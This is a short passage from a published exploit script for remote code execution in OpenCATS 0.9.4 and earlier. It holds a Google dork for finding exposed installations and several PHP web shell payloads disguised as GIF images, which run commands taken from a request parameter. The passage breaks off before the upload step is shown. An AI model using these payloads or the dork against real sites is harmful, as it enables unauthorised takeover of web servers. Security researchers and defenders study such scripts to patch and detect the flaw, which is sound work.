OpenCATS 0.9.4 Remote Code Execution

# Exploit Title: OpenCATS 0.9.4 - Remote Code Execution (RCE)
# Google Dork: intext:"Current Available Openings, Recently Posted Jobs"
# Date: 21/09/2021
# Exploit Author: Nicholas Ferreira - https://github.com/Nickguitar
# Vendor Homepage: https://www.opencats.org/
# Software Link: https://github.com/opencats/OpenCATS
# Version: <=0.9.4 Countach
# Tested on: Debian, CentOS, Windows Server

#!/bin/bash

if [ $# -eq 0 ]
then
  echo "Usage: $0 <target URL>"
  exit
fi



# if a payload doesn't work, try another

payload='GIF87a<?php echo system($_REQUEST[0]); ?>'
#payload='GIF87a<?php echo exec($_REQUEST[0]); ?>'
#payload='GIF87a<?php echo shell_exec($_REQUEST[0]); ?>'
#payload='GIF87a<?php echo passthru($_REQUEST[0]); ?>'
#payload='GIF87a<?php echo `$_REQUEST[0]`; ?>'
#payload='GIF87a<?php echo system($_REQUEST[0]); ?>'
#payload='GIF87a<?php echo $p=popen($_REQUEST[0],"r");while(!feof($p))echo fread($p,1024); ?>'

target=$1

green="